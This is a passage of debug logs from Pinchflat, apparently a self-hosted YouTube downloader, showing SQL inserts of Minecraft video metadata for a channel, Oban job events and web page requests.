survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "b8f90639-d478-4b1f-8341-011f1b390b80", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", 14, "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-22 07:13:54Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, 2, ~U[2026-05-22 07:13:54Z]] 20:07:18.160 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.161 [debug] QUERY OK source="media_items" db=1.3ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 03:07:57Z], 2] 20:07:18.163 [debug] QUERY OK source="media_items" db=0.7ms idle=5.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "c6974603-19cf-41c8-91e0-68bc10246cc9", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", 15, "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, false, false, 2, [], 98, ~U[2026-05-17 03:07:57Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, 2, ~U[2026-05-17 03:07:57Z]] 20:07:18.163 [debug] QUERY OK source="sources" db=0.3ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.165 [debug] QUERY OK source="media_items" db=1.2ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 03:25:23Z], 2] 20:07:18.166 [debug] QUERY OK source="media_items" db=0.7ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "e643196b-cbe8-4f7d-94be-f0398b7b4621", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", 16, "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, false, false, 2, [], 98, ~U[2026-05-16 03:25:23Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, 2, ~U[2026-05-16 03:25:23Z]] 20:07:18.166 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.168 [debug] QUERY OK source="media_items" db=1.3ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 03:45:03Z], 2] 20:07:18.170 [debug] QUERY OK source="media_items" db=1.6ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "1645d0ff-aa79-414e-93b3-3e2bbb09bd24", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", 17, "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-13 03:45:03Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-13 03:45:03Z]] 20:07:18.170 [debug] QUERY OK source="sources" db=0.3ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:07:18.172 [debug] QUERY OK source="media_items" db=1.3ms idle=4.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-10 22:16:00Z], 2] 20:07:18.173 [debug] QUERY OK source="media_items" db=0.7ms idle=5.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "423cf3e4-266a-4e5b-b536-26fcb19a5f17", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", 18, "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, false, false, 2, [], 98, ~U[2026-05-10 22:16:00Z], ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], "Today, we're having a Murder House building competition! We'll both build spooky houses, and try to capture each other in our traps!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE", "hvMewRuugus", 1743, false, "https://www.youtube.com/watch?v=hvMewRuugus", "/downloads/shows/Maizen/Season 2026/s2026e051000 - Minecraft NOOB vs PRO: KILLER HOUSE BUILD CHALLENGE.mp4", false, 2, ~U[2026-05-10 22:16:00Z]] 20:07:18.174 [debug] QUERY OK source="sources" db=0.2ms idle=5.4ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z], 2] 20:07:18.175 [debug] QUERY OK source="media_items" db=1.5ms idle=4.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 20:07:18.177 [debug] QUERY OK source="media_items" db=1.4ms idle=5.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 20:07:18.178 [debug] QUERY OK source="media_items" db=0.5ms idle=5.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 20:07:18.179 [debug] QUERY OK source="tasks" db=0.4ms idle=3.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17087, 2, ~U[2026-08-20 03:07:18Z], ~U[2026-08-20 03:07:18Z]] 20:07:18.180 [info] {"args":{"id":2},"id":17084,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":60304590,"event":"job:stop","queue_time":415891,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 20:07:47.965 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.225 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:08:17.967 [info] {"source":"oban","duration":1225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:47.969 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.226 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:09:17.971 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:47.973 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.227 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:10:17.975 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:47.977 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:00.228 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:11:17.979 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:47.981 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.229 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:12:17.983 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:47.985 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.230 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:13:17.987 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:47.989 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 20:14:00.231 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:14:17.991 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:37.887 [info] GET /sources/2/media/372 20:14:37.888 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "372", "source_id" => "2"} Pipelines: [:browser] 20:14:37.888 [debug] QUERY OK source="media_items" db=0.1ms idle=395.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [372] 20:14:37.888 [debug] QUERY OK source="tasks" db=0.1ms idle=106.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [372] 20:14:37.889 [debug] QUERY OK source="sources" db=0.2ms idle=106.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:14:37.889 [debug] QUERY OK source="settings" db=0.1ms idle=107.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:14:37.889 [debug] QUERY OK source="settings" db=0.1ms idle=107.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:14:37.890 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:14:37.891 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:14:37.892 [info] Sent 200 in 4ms 20:14:38.387 [info] GET /sources/2/media/310552/edit 20:14:38.387 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "310552", "source_id" => "2"} Pipelines: [:browser] 20:14:38.388 [debug] QUERY OK source="media_items" db=0.1ms idle=498.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [310552] 20:14:38.388 [debug] QUERY OK source="settings" db=0.2ms idle=498.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:14:38.389 [debug] QUERY OK source="settings" db=0.1ms idle=499.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:14:38.389 [debug] QUERY OK source="settings" db=0.1ms idle=499.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:14:38.390 [info] Sent 200 in 2ms 20:14:38.889 [info] GET /sources/2/media/310552 20:14:38.889 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "310552", "source_id" => "2"} Pipelines: [:browser] 20:14:38.890 [debug] QUERY OK source="media_items" db=0.1ms idle=501.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [310552] 20:14:38.890 [debug] QUERY OK source="tasks" db=0.1ms idle=501.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [310552] 20:14:38.890 [debug] QUERY OK source="sources" db=0.2ms idle=501.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:14:38.891 [debug] QUERY OK source="settings" db=0.1ms idle=501.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:14:38.891 [debug] QUERY OK source="settings" db=0.1ms idle=397.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:14:38.891 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:14:38.892 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:14:38.893 [info] Sent 200 in 3ms 20:14:47.993 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.232 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:15:11.922 [info] GET /sources/2/media/482073/edit 20:15:11.923 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "482073", "source_id" => "2"} Pipelines: [:browser] 20:15:11.923 [debug] QUERY OK source="media_items" db=0.1ms idle=1140.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", 